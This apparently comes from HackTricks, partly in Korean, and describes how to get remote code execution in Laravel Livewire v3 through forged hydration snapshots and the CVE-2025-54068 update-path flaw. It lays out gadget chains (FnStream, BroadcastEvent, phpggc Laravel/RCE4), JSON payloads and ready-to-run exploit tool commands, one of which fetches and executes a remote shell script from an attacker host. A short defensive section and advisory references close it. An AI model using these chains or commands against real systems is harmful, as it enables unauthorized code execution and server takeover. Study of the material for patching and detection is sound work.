Laravel Livewire Hydration & Synthesizer Abuse
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Livewire 상태 머신 요약
Livewire 3 컴포넌트는 data, memo, 그리고 체크섬을 포함하는 스냅샷을 통해 상태를 교환합니다. /livewire/update로의 모든 POST는 서버 측에서 JSON 스냅샷을 재수화하고 대기 중인 calls/updates를 실행합니다.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
누군가 APP_KEY ( $hashKey 를 도출하는 데 사용됨 ) 를 가지고 있다면 HMAC을 재계산하여 임의의 스냅샷을 위조할 수 있다.
복잡한 속성은 Livewire\Drawer\BaseUtils::isSyntheticTuple()로 감지되는 합성 튜플로 인코딩되며; 각 튜플은 [value, {"s":"<key>", ...meta}]이다.
hydration 코어는 각 튜플을 HandleComponents::$propertySynthesizers에서 선택된 synth에 단순히 위임하고 자식 요소를 재귀적으로 처리한다:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
This recursive design makes Livewire a generic object-instantiation engine once an attacker controls either the tuple metadata or any nested tuple processed during recursion.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | 각 자식 요소를 재수화한 후 new $meta['class']($value)를 인스턴스화한다. 배열 생성자를 가진 어떤 클래스든 생성할 수 있으며, 각 항목 자체가 synthetic tuple일 수 있다. |
FormObjectSynth (form) | new $meta['class']($component, $path)를 호출한 다음 $hydrateChild를 통해 공격자가 제어하는 자식들로부터 모든 public 속성을 할당한다. 두 개의 느슨한 타입 파라미터(또는 기본값)를 받는 생성자이면 임의의 public 속성에 도달하기에 충분하다. |
ModelSynth (mdl) | meta에서 key가 없으면 return new $class;를 실행하여 공격자가 제어하는 어떤 클래스든 인자 없는 생성으로 인스턴스화할 수 있게 한다. |
Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait –
Illuminate\Bus\Queueable를 사용하는 객체는 public$chained를 노출하고dispatchNextJobInChain()에서unserialize(array_shift($this->chained))를 실행한다. - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue)는 public$chained가 채워진 상태로CollectionSynth/FormObjectSynth를 통해 인스턴스화된다. - phpggc Laravel/RCE4Adapted –
$chained[0]에 저장된 직렬화된 블롭은PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed를 구성한다.Signed::__invoke()가 결국call_user_func_array($closure, $args)를 호출하여system($cmd)를 가능하게 한다. - Stealth termination –
[new Laravel\Prompts\Terminal(), 'exit']같은 두 번째FnStreamcallable을 제공하면 요청은 시끄러운 예외 대신exit()로 종료되어 HTTP 응답을 깨끗하게 유지한다.
Automating snapshot forgery
synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
이 도구는 캡처한 snapshot을 파싱하고 gadget tuples를 주입한 뒤 checksum을 재계산하여 전송 준비가 된 /livewire/update payload를 출력한다.
CVE-2025-54068 – APP_KEY 없이 RCE
벤더 권고에 따르면 이 문제는 Livewire v3 (>= 3.0.0-beta.1 및 < 3.6.3)에 영향을 미치며 v3에만 해당한다.
updates는 snapshot checksum이 검증된 후에 component state에 병합된다. snapshot 내부의 프로퍼티가 (또는 synthetic tuple이 되는 경우) synthetic tuple이라면, Livewire는 attacker-controlled update value를 hydrating할 때 해당 meta를 재사용한다:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Find a Livewire component with an untyped public property (e.g.,
public $count;). - Send an update that sets that property to
[]. The next snapshot now stores it as[[], {"s": "arr"}].
A minimal type-juggling flow looks like this:
POST /livewire/update
...
"updates": {"count": []}
Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Craft another
updatespayload where that property contains a deeply nested array embedding tuples such as[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - During recursion,
hydrate()evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed. - Reuse the same
CollectionSynth/FormObjectSynthprimitives to instantiate a Queueable gadget whose$chained[0]contains the phpggc payload. Livewire processes the forged updates, invokesdispatchNextJobInChain(), and reachessystem(<cmd>)without knowingAPP_KEY.
Key reasons this works:
updatesare not covered by the snapshot checksum.getMetaForPath()trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.- Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.
Livepyre – end-to-end exploitation
Livepyre automates both the APP_KEY-less CVE and the signed-snapshot path:
- Fingerprints the deployed Livewire version by parsing
<script src="/livewire/livewire.js?id=HASH">and mapping the hash to vulnerable releases. - Collects baseline snapshots by replaying benign actions and extracting
components[].snapshot. - Generates either an
updates-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain. - If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check runs a non-destructive probe, -F skips version gating, -H and -P add custom headers or proxies, and --function/--param customise the php function invoked by the gadget chain.
방어적 고려사항
- Livewire의 수정된 빌드(공급업체 권고에 따르면 >= 3.6.4)로 업그레이드하고 CVE-2025-54068에 대한 공급업체 패치를 배포하십시오.
- Livewire 컴포넌트에서 느슨한 형식의 public 속성을 피하십시오; 명시적 스칼라 타입은 속성 값이 배열/튜플로 강제 변환되는 것을 방지합니다.
- 실제로 필요한 synthesizers만 등록하고 사용자 제어 metadata (
$meta['class'])를 신뢰하지 마십시오. - 속성의 JSON 타입(예: scalar -> array)을 변경하는 업데이트는 명시적으로 허용되지 않는 한 거부하고, 오래된 튜플을 재사용하지 말고 synth metadata를 다시 도출하십시오.
- 공개가 발생한 즉시
APP_KEY를 신속히 교체하십시오. 코드베이스가 얼마나 패치되었든 상관없이 오프라인 스냅샷 위조를 허용하기 때문입니다.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


